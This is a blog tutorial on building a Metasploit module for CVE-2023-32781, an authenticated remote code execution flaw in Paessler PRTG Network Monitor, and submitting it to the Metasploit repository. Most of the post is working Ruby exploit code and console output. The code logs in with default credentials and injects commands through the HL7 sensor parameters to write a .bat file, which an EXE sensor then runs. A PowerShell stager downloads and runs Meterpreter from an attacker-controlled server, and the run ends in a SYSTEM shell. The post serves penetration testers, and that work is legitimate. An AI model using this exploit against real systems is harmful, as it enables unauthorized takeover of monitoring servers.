'

Building your first metasploit exploit

by Kevin Joensen on 24 Nov 2023 |
  • |
  • Table of Contents

    1. Introduction
    2. Setting up our development environment
    3. Buiding the exploit for CVE-2023-32781
    4. Using CmdStager to run Meterpreter
    5. Submitting the module to metasploits public repository

    Introduction

    People regularly use metasploit for utilizing exploits written by others. But what is actually the process of writing an exploit and since getting it published as a metasploit module? This is an important step to complete as other professionals can then reuse your work in customer engagements.

    This post outlines the process I followed to transform the authenticated Remote Code Execution (RCE) vulnerability in PRTG, identified as CVE-2023-32781, into a Metasploit exploit. The focus here is on the development of the exploit itself, rather than the steps for exploiting the RCE. For specific details on the vulnerability, please refer to the corresponding post titled PRTG Remote Code Execution.

    The following will be our things to go through:

    1. Setting up our development environment
    2. Buiding the exploit for CVE-2023-32781
    3. Comitting it to Metasploits exploit library

    Setting up our development environment

    We don't want to install everything on our local machine, but merely want a quick running metasploit. For this we can use their docker image metasploit-image

    The following commands will get us up and running. These will pull the metasploit docker image and subsequently drop us into a shell.

    baldur:~$ docker pull metasploitframework/metasploit-framework
    baldur:~$ docker run --rm --net=host -it metasploitframework/metasploit-framework
    Metasploit tip: Enable verbose logging with set VERBOSE true
    
     ______________________________________
    / it looks like you're trying to run a \
    \ module                               /
     --------------------------------------
     \
      \
         __
        /  \
        |  |
        @  @
        |  |
        || |/
        || ||
        |\_/|
        \___/
    
    
           =[ metasploit v6.3.34-dev                          ]
    + -- --=[ 2354 exploits - 1225 auxiliary - 413 post       ]
    + -- --=[ 1387 payloads - 46 encoders - 11 nops           ]
    + -- --=[ 9 evasion                                       ]
    
    Metasploit Documentation: https://docs.metasploit.com/
    
    [*] Processing docker/msfconsole.rc for ERB directives.
    [*] resource (docker/msfconsole.rc)> Ruby Code (236 bytes)
    LHOST => 172.17.0.2
    msf6 > 
    

    An important bit to notice above is the --net=host flag. You probably run your vulnerable service in another container or another virtual machine or similar. Your docker might not have the same network access as the host, but this flag forces it to have the same access. This will also allow reverse payloads to listen on your host interface instead of inside a container that is probably not reachable by default.

    Metasploit is now up and running. All the usual commands are available such as use <exploit> and more. But what we really want is to have our own cve_2023_32781.rb running inside this instance.

    For this you need two things:

    1. A ruby editor as metasploit modules are written in ruby.
    2. The file cve_2023_32781.rb which you edit on your host, to be accessible for the container that runs metasploit.

    The editor choice will be up to you.

    First we're going to fill cve_2023_32781.rb with the basics needed for an exploit. This will be self-explanatory for now and every edit will be explained later on.

    # cve_2023_32781.rb
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',
            'Description' => %q{
              Authenticated RCE in Paessler PRTG
            },
            'License' => MSF_LICENSE,
            'Author' => ['ggisz'],
            'References' => [
              [ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],
              [ 'CVE', '2023-32781']
            ],
            'DisclosureDate' => '2023-08-09',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
      end
    
      def check
        CheckCode::Vulnerable
      end
    
      def exploit
        connect
    
        print_status("PRTG Incomplete exploit")
    
        handler
      end
    end
    

    To map the file cve_2023_32781.rb into metasploit we need to create a directory with the file, and then use docker volume command to mount it.

    baldur:~$ mkdir development
    baldur:~$ mv cve_2023_32781.rb development
    baldur:~$ docker run --rm --net=host -it -v $PWD/development:/usr/src/metasploit-framework/modules/exploits/development/ metasploitframework/metasploit-framework
    

    The last command simply mounts our local development folder into the folder /usr/src/metasploit-framework/modules/exploits/development/ which is used by metasploit for discovering the exploits available.

    Upon starting metasploit we notice that 2355 exploits are available instead of 2354. (This might differ on the time you read this post)

           =[ metasploit v6.3.34-dev                          ]
    + -- --=[ 2355 exploits - 1225 auxiliary - 413 post       ]
    + -- --=[ 1387 payloads - 46 encoders - 11 nops           ]
    + -- --=[ 9 evasion            
    

    Now we can use and get info about our loaded exploit with the command use exploit/development/cve_2023_32781

    msf6 > use exploit/development/cve_2023_32781 
    [*] No payload configured, defaulting to generic/shell_reverse_tcp
    msf6 exploit(development/cve_2023_32781) > info
    
           Name: PRTG CVE-2023-32781 Authenticated RCE
         Module: exploit/development/cve_2023_32781
       Platform: 
           Arch: 
     Privileged: No
        License: Metasploit Framework License (BSD)
           Rank: Excellent
      Disclosed: 2020-08-09
    
    Provided by:
      ggisz
    
    Available targets:
          Id  Name
          --  ----
    
    Check supported:
      Yes
    
    Basic options:
      Name    Current Setting  Required  Description
      ----    ---------------  --------  -----------
      RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
                                         l
      RPORT                    yes       The target port (TCP)
    
    Payload information:
    
    Description:
      Authenticated RCE in Paessler PRTG
    
    References:
      https://baldur.dk/blog/prtg-rce.html
      https://nvd.nist.gov/vuln/detail/CVE-2023-32781
    
    
    View the full module info with the info -d command.
    

    Modifying the exploit during development is a standard procedure. By employing the reload command, any changes made to the exploit, such as altering the name within cve_2023_32781.rb, are promptly reflected.

    msf6 exploit(development/cve_2023_32781) > reload
    [*] Reloading module...
    msf6 exploit(development/cve_2023_32781) > info 
           Name: PRTG CVE-2023-32781 Authenticated RCE UPDATED
    

    Buiding the exploit for CVE-2023-32781

    Now that our development environment is setup we can get straight into actually building the exploit.

    Our exploit consists of the following steps:

    1. Login with the default credentials (prtgadmin:prtgadmin)
    2. Create a HL7 Sensor that will write a .bat file to the disk
    3. Trigger EXE Sensor which will then run the .bat file
    4. Get a meterpreter session running

    The first step would be to login to the application and verify that we're authenticated correctly. For this we need to be able to specify how the exploit should authenticate and what the default credentials are. Here the register_options comes in handy.

    This should be placed inside the defined initialize but after the super

    register_options(
       [
          OptString.new(
             'USERNAME',
             [ true, 'The username to authenticate with', 'prtgadmin' ]
          ),
          OptString.new(
             'USERNAME',
             [ true, 'The username to authenticate with', 'prtgadmin' ]
          ),
          OptString.new(
             'URI',
             [ true, 'The URI for the PRTG web interface', '/' ]
          )
       ]
    )
    

    Now we can reload and info the exploit and see the available options.

    msf6 exploit(development/cve_2023_32781) > reload
    [*] Reloading module...
    msf6 exploit(development/cve_2023_32781) > info
    ...SNIP...
    Basic options:
      Name      Current Setting  Required  Description
      ----      ---------------  --------  -----------
      Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
      RHOSTS    127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
                                           tml
      RPORT     443              yes       The target port (TCP)
      SSL       false            no        Negotiate SSL/TLS for outgoing connections
      URI       /                yes       The URI for the PRTG web interface
      USERNAME  prtgadmin        yes       The username to authenticate with
      VHOST                      no        HTTP server virtual host
      password  prtgadmin        yes       The password to authenticate with
    
    ...SNIP...
    

    When running the payload, you can simply omit the process of actually setting the options. Simply writing run rhosts=127.0.0.1 rport=13380 will set them on the fly and allow quick debugging and environment changes. rhosts specifies the target address, and rport the target port. I'm using port forwarding which is why it listens on my local interface.

    Now we need the code for actually conducting the authentication attempt against PRTG. For this we need to modify the def exploit method. But first, lets see the authentication attempt through the eyes of Burp Suite.

    To do this, simply fire up Burp Suite and MiTM a authentication attempt towards PRTG

    Here we see the following POST request:

    POST /public/checklogin.htm HTTP/1.1
    Host: 127.0.0.1
    Content-Type: application/x-www-form-urlencoded
    ...
    
    loginurl=&username=prtgadmin&password=prtgadmin
    

    The important bits to note down here is the arguments needed, http method and the Content-Type as it might be JSON. In this case it is simply application/x-www-form-urlencoded. Then also note down the request path. In some cases the application has extra checks (as we will see later), CSRF tokens and more to handle, but this is not the case for now. So now we can simply build our authentication check in a new method:

    def authenticate_prtg
       res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),
          'vars_post' => {
             'username' => datastore['USERNAME'],
             'password' => datastore['PASSWORD']
          }
       })
       unless res
          fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
       end
       if res && res.code == 302 && res.headers['Set-Cookie']
          print_good('Successfully authenticated against PRTG')
       else
          fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')
       end
    end
    

    What happens in the above example is that it utilizes the internal function in metasploit called send_request_cgi and then it builds the request with the given URI and the path /public/checklogin.htm. Then the parameters are inputted from our configuration, and sent to the server. The first check is simply connectivity issues, but the second is the interesting part. Here we check against the http code 302 and if the server tries to set cookies through the Set-Cookie flag. This indicates a successful authentication attempt which we learned through Burp Suite interactions previously. This varies greatly depending on the target application.

    Now it's time to check our exploit so far. Let's first check with the default credentials and then actively setting wrong credentials to see if it correctly throws an error.

    Note: There will be some reverse TCP handler messages but for now, we don't care about them.

    msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380
    
    [!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
    [*] Started reverse TCP handler on 127.0.1.1:4444 
    [*] PRTG Incomplete exploit
    [+] Successfully authenticated against PRTG
    [*] Ending
    [*] Exploit completed, but no session was created.
    

    We can now see our succesfull authentication message: Successfully authenticated against PRTG.

    Let's just verify that it fails with wrong credentials.

    msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380 USERNAME=nonexistantuser
    
    [!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
    [*] Started reverse TCP handler on 127.0.1.1:4444 
    [*] PRTG Incomplete exploit
    [-] Exploit aborted due to failure: no-access: Failure to authenticate against PRTG
    [*] Exploit completed, but no session was created.
    

    Great! First part done. We can now authenticate against PRTG

    So now we have 2 stages left, which is triggering the file write, and executing the written file.

    Let's first define two boilerplate functions for the next stages. These are going to be ran after the authentication stage.

    def write_bat_file_to_disk
       # Uses the HL7Sensor for writing a .bat file to the disk
       print_good('Writing .bat to disk')
    end
    
    def run_bat_file_from_disk
       # Run the .bat file that we previously wrote to the disk
       print_good('Running .bat from disk')
    end
    

    For completing the function write_bat_file_to_disk we need three things:

    1. The cookies we got from our authentication method.
    2. The request that creates the HL7 sensor
    3. The request that runs the HL7 sensor

    To keep the cookies for future requests is easy if we look at the documentation for the send_request_cgi method. Here we can see that a flag keep_cookies is present.

    This will keep all the cookies set by the server in a cookie store in HttpClient, available for future requests. So now we can send all future requests as authenticated.

    For the request that creates the HL7 Sensor, we repeat the steps on the authentication flow, and request the creation through burp, and note down the relevant parts. I'm not going through the full request, but one thing that differs and is important is that we now have a anti-csrf-token as we normally have in these kind of applications. So we need to fetch this token, before any requests can be made.

    anti-csrf-token's can be stored in multiple ways, so that is very application dependent. However, in this particular example, the value is reflected inside the DOM upon making a request to /welcome.htm (and probably any other page).

    ...SNIP...
    <meta
       name="csrf-token" 
       content="MjUzNGRlMzUwMmRmNmVkZjZkZjQ5MDk5N2EzOWY2N2FmNTM4YmNkMDkzMjQ2ZGNhNjg5NzdkNjE2OGNmMDgyZQ=="
    >
    ...SNIP...
    

    To extract this, we create a function called get_csrf_token that requests /welcome.htm, parses the body, and returns the anti-csrf-token string. Extracting the actual token from the body is done through using a regex that is specified for how it looks inside PRTG.

    def get_csrf_token
       res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(datastore['URI'], '/welcome.htm'),
          'keep_cookies' => true,
       })
    
       if res.nil? || res.body.nil?
          fail_with(Failure::NoAccess, 'Page with CSRF token not available')
       end
    
       regex = %r{csrf-token" content="([^"]+)"}
       token = res.body[regex, 1]
    
       print_good("Extracted token")
       print_good(token)
       token
    end
    

    The interesting part here is the regex. It matches csrf-token" content=" and then makes a second group and matches all characeters within this group, until a " character arive. Then we extract that group 1, with this res.body[regex, 1].

    Now that we have our method for getting the anti-csrf-token needed for the request, we can continue with building the method write_bat_file_to_disk.

    I won't go into the exploit details as these are thoroughly described in the blog post around that vulnerability, but instead outline the two steps involved in the write_bat_file_to_disk method.

    1. Send a request to the endpoint /addsensor5.htm which creates the HL7 Sensor. Here the anti-csrf-token is embedded as a parameter in the POST body.
    2. Send a request to /controls/deviceoverview.htm?id=40 as we need to get the id for the HL7 Sensor we just created. This id is sadly not reflected in the /addsensor5.htm response.
    3. Send a request to the endpoint /api/scannow.htm with the id for the HL7 Sensor we just created. The anti-csrf-token is embedded as a header in this request, as that is what the application relies on.

    All request details are extracted through Burp Suite and simply reading the HTTP requests.

    So writing up our updated method for write_bat_file_to_disk we get the following code.

    def write_bat_file_to_disk
      # Uses the HL7Sensor for writing a .bat file to the disk
      print_status('Writing .bat to disk')
    
      csrf_token = get_csrf_token
    
      # Generate a random sensor name
      sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
      bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"
    
      print_status("Generated sensor_name #{sensor_name}")
      print_status("Generated bat_file_name #{bat_file_name}")
    
      params = {
        'name_' => sensor_name,
        'parenttags_' => '',
        'tags_' => 'dicom hl7',
        'priority_' => '3',
        'port_' => '104',
        'timeout_' => '60',
        'override_' => '0',
        'sendapp_' => 'test',
        'sendfac_' => 'test',
        'recvapp_' => 'test',
        'recvfac_' => "testtest4\" -debug=\"C:\\Program Files (x86)\\PRTG Network Monitor\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"test",
        'hl7file_' => 'ADT_& mkdir c:\\\metasploit & A08.hl7|ADT_A08.hl7||',
        'hl7filename' => '',
        'intervalgroup' => ['0', '1'],
        'interval_' => '60|60 seconds',
        'errorintervalsdown_' => '1',
        'inherittriggers' => '1',
        'id' => '40',
        'sensortype' => 'hl7',
        'tmpid' => '2',
        'anti-csrf-token' => csrf_token,
      }
    
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(datastore['URI'], '/addsensor5.htm'),
        'keep_cookies' => true,
        'vars_post' => params
      })
    
      unless res
        fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
      end
    
      if res && res.code == 302
        print_status('HL7 Sensor created')
      else
        fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')
      end
      print_good("HL7 Sensor succesfully created")
    
      # Actually creating the sensor can take 1-2 seconds
      sleep(5)
    
      sensor_id = get_created_sensor_id(sensor_name)
    
      print_status("Requesting HL7 Sensor to initiate scan")
    
      run_sensor_with_id(sensor_id)
    
      print_good(".bat file written to disk")
      bat_file_name
    end
    

    We went over many things in this code, but some minor new things is that we now pass the headers flag to send_request_cgi, because this function is requiring the anti-csrf-token as a header. Another thing is the X-Requested-With, which has to be set to XMLHttpRequest else we get a permission denied error. Again, these are things you have to fiddle with for each exploit you write, as the logic is completely application dependent.

    The sensor_name and bat_file_name are now randomly generated to avoid clashing with existing sensors, or bat files.

    Another thing is that we introduced the function for getting the sensor_id. It takes the name of the sensor and parses through the DOM and finds the id. It is very much alike the get_csrf_token method.

    def get_created_sensor_id(sensor_name)
      print_status("Fetching created sensor id")
    
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(datastore['URI'], 'controls', 'deviceoverview.htm'),
        'keep_cookies' => true,
        'vars_get' => {
          'id' => 40,
        }
      })
    
      if res.nil? || res.body.nil?
        fail_with(Failure::NoAccess, 'Page with sensorid not available')
      end
    
      regex = %r{id=([0-9]+)">#{sensor_name}}
      sensor_id = res.body[regex, 1]
    
      print_status("Extracted sensor_id: #{sensor_id}")
      sensor_id
    end
    

    Same goes for the function run_sensor_with_id which simply makes the request to /api/scannow.htm and starts the sensor with the given id.

    def run_sensor_with_id(sensor_id)
      csrf_token = get_csrf_token
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(datastore['URI'], 'api', 'scannow.htm'),
        'keep_cookies' => true,
        'headers' => {
          'anti-csrf-token' => csrf_token,
          'X-Requested-With'=> 'XMLHttpRequest'
        },
        'vars_post' => {
          'id': sensor_id,
        }
      })
    
      if res && res.code == 200
        print_good('Sensor started running')
      else
        fail_with(Failure::NoAccess, 'Failure to run sensor')
      end
    end
    

    Now we need to run the created .bat file through an EXE sensor. The process for this is much alike the other items above. We will do this inside our old boilerplate function run_bat_file_from_disk.

    1. Create a EXE/Script Sensor through the endpoint /addsensor5.htm and specify the file we want to run, which is our newly created .bat file.
    2. Send a request to /controls/deviceoverview.htm?id=40 as we need to get the id for the EXE/Script Sensor we just created. This id is sadly not reflected in the /addsensor5.htm response.
    3. Send a request to the endpoint /api/scannow.htm with the id for the EXE/Script Sensor we just created. The anti-csrf-token is embedded as a header in this request, as that is what the application relies on.

    Since step 2 and 3 are eerily close to step 2 and 3 in the last steps inside the write_bat_file_to_disk function, we're going to reuse the two functions we defined, namely get_created_sensor_id and run_sensor_with_id.

    This will make our run_bat_file_from_disk function look like the following:

    Note: All relevant parameters for the HTTP requests are simply taken by intercepting the Burp request when exploiting this issue manually.

    def run_bat_file_from_disk(bat_file_name)
      print_status("Running the .bat file: #{bat_file_name}")
      csrf_token = get_csrf_token
      sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
    
      params = {
        "name_" => sensor_name,
        "parenttags_" => "",
        "tags_" => "exesensor",
        "priority_" => "3",
        "scriptplaceholdergroup" => "1",
        "scriptplaceholder1description_" => "",
        "scriptplaceholder1_" => "",
        "scriptplaceholder2description_" => "",
        "scriptplaceholder2_" => "",
        "scriptplaceholder3description_" => "",
        "scriptplaceholder3_" => "",
        "scriptplaceholder4description_" => "",
        "scriptplaceholder4_" => "",
        "scriptplaceholder5description_" => "",
        "scriptplaceholder5_" => "",
        "exefile_" => "#{bat_file_name}|#{bat_file_name}||",
        "exefilelabel" => "",
        "exeparams_" => "",
        "environment_" => "0",
        "usewindowsauthentication_" => "0",
        "mutexname_" => "",
        "timeout_" => "60",
        "valuetype_" => "0",
        "channel_" => "Value",
        "unit_" => "#",
        "monitorchange_" => "0",
        "writeresult_" => "0",
        "intervalgroup" => "0",
        "interval_" => "43200|12 hours",
        "errorintervalsdown_" => "1",
        "inherittriggers" => "1",
        "id" => "40",
        "sensortype" => "exe",
        "tmpid" => "6",
        "anti-csrf-token" => csrf_token,
        }
    
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(datastore['URI'], '/addsensor5.htm'),
        'keep_cookies' => true,
        'vars_post' => params
      })
    
      unless res
        fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
      end
    
      if res && res.code == 302
        print_status('EXE Script sensor created')
      else
        fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')
      end
    
      print_status("Sleeping 5 seconds to wait for sensor creation")
      sleep(5)
    
      sensor_id = get_created_sensor_id(sensor_name)
      run_sensor_with_id(sensor_id)
    
      print_good("Exploit completed. Waiting for payload")
    end
    

    The above scripts does not introduce any new concepts that needs further explanation.

    Now we have a fully functioning exploit that will create a .bat file with a valid command to be executed as SYSTEM. Our exploit function now looks like the following:

    def exploit
      connect
    
      print_status("PRTG Incomplete exploit")
      authenticate_prtg
      bat_file_name = write_bat_file_to_disk
      run_bat_file_from_disk(bat_file_name)
      print_status("Exploit done")
      # handler
    end
    

    And when we reload and run our created exploit we get the following:

    msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380
    
    [!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
    [*] Started reverse TCP handler on 127.0.1.1:4444 
    [*] PRTG Incomplete exploit
    [+] Successfully authenticated against PRTG
    [*] Writing .bat to disk
    [*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
    [*] Generated sensor_name OTFUPFJK
    [*] Generated bat_file_name HJPHFSOH.bat
    [+] HL7 Sensor succesfully created
    [*] Sleeping 5 seconds to wait for sensor creation
    [*] Fetching created sensor id
    [*] Extracted sensor_id: 2085
    [*] Requesting HL7 Sensor to initiate scan
    [*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
    [+] Sensor started running
    [+] .bat file written to disk
    [*] Running the .bat file: HJPHFSOH.bat
    [*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
    [*] EXE Script sensor created
    [*] Sleeping 5 seconds to wait for sensor creation
    [*] Fetching created sensor id
    [*] Extracted sensor_id: 2086
    [*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
    [+] Sensor started running
    [+] Exploit completed. Waiting for payload
    [*] Exploit done
    [*] Exploit completed, but no session was created.
    

    Using CmdStager to run meterpreter

    Remember I told you not to worry about the Started reverse TCP handler? Well now it's time to fix that part. Currently we simply inject a mkdir payload, as can be seen in the hl7file_ parameter of the request to create the HL7Sensor.

    We want to be able to make arbitrary payloads from the usage of Metasploits internal payload library. Namely we want to use meterpreter to prove full exploit functionality.

    To enable the usage of internal payloads such as meterpreter we need to include a stager mixin. For this specific vulnerability where we have a command we can execute, the Msf::Exploit::CmdStager is an excellent choice.

    This allows us to create a wrapper, and tell metasploit how to execute a command and launch the payload for us. Now after including Msf::Exploit::CmdStager in our module, we need to tell it about our target, and how we want the stager to work.

    The following is going to be included in the update_info function in the start of our exploit. This tells metasploit that we want to stage the payload picked by the user with psh_invokewebrequest. This uses powershell to fetch our payload and run it on the machine. This is great as we don't have a lot of space in our initial payload.

    'Targets' =>
    [
      [ 'Windows',
        {
          'Arch' => [ ARCH_X86_64, ARCH_X86 ],
          'Platform' => 'win',
          'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]
        }
      ]
    ]
    

    Once the Msf::Exploit::CmdStager mixin is in place, we need create a function called execute_command which is used by the mixin.

    in short, our module exploit method will now look like the following. We commented out our old items for now. So execute_cmdstager is an internal function delivered by the Msf::Exploit::CmdStager. It does magic to our choosen payload and then it will run the command it builds by calling execute_command which is a function we define.

     def exploit
      connect
    
      execute_cmdstager(flavor: :psh_invokewebrequest)
      # print_status("PRTG Incomplete exploit")
      # authenticate_prtg
      # bat_file_name = write_bat_file_to_disk
      #run_bat_file_from_disk(bat_file_name)
      # print_status("Exploit done")
      # handler
    end
    
    def execute_command(cmd, opts = {})
      print_status(cmd)
    end
    

    Now we simply printed the cmd to see what is happening behind the scenes. We simply reload the module, set the payload to windows/meterpreter/reverse_tcp. Set the SRVPORT, which is where the stager will fetch the second part of the payload. So the port that your host/attacker will be listening on. Currently we are not setting the LPORT and LHOST which is relevant for meterpreter, but that is not relevant for now.

    msf6 exploit(development/cve_2023_32781) > reload
    [*] Reloading module...
    msf6 exploit(development/cve_2023_32781) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf6 exploit(development/cve_2023_32781) > set SRVPORT 10102
    SRVPORT => 10102
    
    msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380
    
    [!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
    [*] Started reverse TCP handler on 127.0.1.1:4444 
    [*] Using URL: http://127.0.1.1:10102/oUwmBJI
    [*] powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\Nxvfrnet.exe http://127.0.1.1:10102/oUwmBJI & %TEMP%\Nxvfrnet.exe & del %TEMP%\Nxvfrnet.exe
    [*] Command Stager progress - 100.00% done (143/143 bytes)
    

    As we can see it builds a nice staging command for us. This command simply downloads the Nxvfrnet.exe binary which is meterpreter using powershell and then runs it.

    powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\Nxvfrnet.exe http://127.0.1.1:10102/oUwmBJI & %TEMP%\Nxvfrnet.exe & del %TEMP%\Nxvfrnet.exe
    

    So now we have to modify our original exploit code to be called from within execute_command so we know what to pass into the .bat file that we create.

    For this to work we are going to rearrange our exploit to the following:

     def exploit
      connect
    
      execute_cmdstager(flavor: :psh_invokewebrequest)
    end
    
    def execute_command(cmd, opts = {})
      print_status("Running PRTG RCE exploit")
      authenticate_prtg
      bat_file_name = write_bat_file_to_disk(cmd)
      run_bat_file_from_disk(bat_file_name)
      print_status("Exploit done")
      handler
    end
    

    Now we simply adjust our write_bat_file_to_disk to take the cmd parameter and write it into the file.

    def write_bat_file_to_disk(cmd)
        cmd = cmd.gsub! '\\', '\\\\\\'
        ...SNIP...
        params = {
          ...SNIP...
          'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",
    ...SNIP...
    

    One minor problem is that PRTG is weird about their \ characters, and they want some more. So this is fixed in the by adding some extras in this line cmd = cmd.gsub! '\\', '\\\\\\'

    Now our exploit should be ready to run!

    msf6 > use exploit/development/cve_2023_32781
    [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
    msf6 exploit(development/cve_2023_32781) > set RHOSTS 127.0.0.1
    RHOSTS => 127.0.0.1
    msf6 exploit(development/cve_2023_32781) > set RPORT 13380
    RPORT => 13380
    msf6 exploit(development/cve_2023_32781) > set SRVHOST 192.168.56.1
    SRVHOST => 192.168.56.1
    msf6 exploit(development/cve_2023_32781) > set SRVPORT 10106
    SRVPORT => 10106
    msf6 exploit(development/cve_2023_32781) > set LPORT 4446
    LPORT => 4445
    msf6 exploit(development/cve_2023_32781) > set LHOST 192.168.56.1
    msf6 exploit(development/cve_2023_32781) > exploit
    
    [*] Started reverse TCP handler on 192.168.56.1:4446 
    [*] Using URL: http://192.168.56.1:10105/sF321hmEZCz
    [*] Running PRTG RCE exploit
    [+] Successfully authenticated against PRTG
    [*] Writing .bat to disk
    [*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
    [*] Generated sensor_name Wg83qiZvO
    [*] Generated bat_file_name rjKu8O2Pt.bat
    [+] HL7 Sensor succesfully created
    [*] Sleeping 5 seconds to wait for sensor creation
    [*] Fetching created sensor id
    [*] Extracted sensor_id: 2095
    [*] Requesting HL7 Sensor to initiate scan
    [*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
    [+] Sensor started running
    [+] .bat file written to disk
    [*] Running the .bat file: rjKu8O2Pt.bat
    [*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
    [*] EXE Script sensor created
    [*] Sleeping 5 seconds to wait for sensor creation
    [*] Fetching created sensor id
    [*] Extracted sensor_id: 2096
    [*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
    [+] Sensor started running
    [+] Exploit completed. Waiting for payload
    [*] Exploit done
    [*] Command Stager progress - 100.00% done (150/150 bytes)
    [*] Client 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428) requested /sF321hmEZCz
    [*] Sending payload to 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428)
    [*] Sending stage (175686 bytes) to 192.168.56.1
    [*] Meterpreter session 1 opened (192.168.56.1:4446 -> 192.168.56.1:43926) at 2023-11-23 17:06:34 +0000
    [*] Server stopped.
    
    meterpreter > shell
    Process 4280 created.
    Channel 1 created.
    Microsoft Windows [Version 10.0.22621.2428]
    (c) Microsoft Corporation. All rights reserved.
    
    C:\Windows\System32>whoami
    whoami
    nt authority\system
    

    Our first fully featured exploit for the metasploit framework! Now other professionals can reuse our work in engagements.

    Submitting the module to metasploits public repository

    Now we want our exploit to go into the official metasploit repository. For this the steps are the following:

    1. Go to https://github.com/rapid7/metasploit-framework and fork
    2. Git clone the repository forked
    3. Create a new branch for your exploit
    4. Add the exploit to the branch
    5. Push the branch to github and make a pull request
    baldur:~$ git clone git@github.com:ggisz/metasploit-framework.git
    baldur:~$ cd metasploit-framework
    baldur:~$ git checkout -b prtg_authenticated_rce_cve_2023_32781
    baldur:~$ cp cve_2023_32781.rb modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
    baldur:~$ git add modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
    baldur:~$ git commit -m "added exploit for CVE-2023-32781 - PRTG authenticated RCE"
    baldur:~$ git push --set-upstream origin prtg_authenticated_rce_cve_2023_32781
    

    As you notice above in the following command we rename our exploit and place it here modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb. This is up to you to find the most fitting directory for your new exploit. In our case, it is HTTP based and windows only, which makes it the perfect candidate for that folder. Furthermore, previous PRTG exploits are also written to this folder.

    Now go to metasploit-framework at github and create a pull request to merge your branch into the metasploit-framework master branch. This pull request should include every information about the new module, to easen the burden on rapid7. A video is also good to include where you run the exploit.

    The following is my pull request: PR#18568 where you can see the full finished exploit. Now let's hope rapid7 accepts it.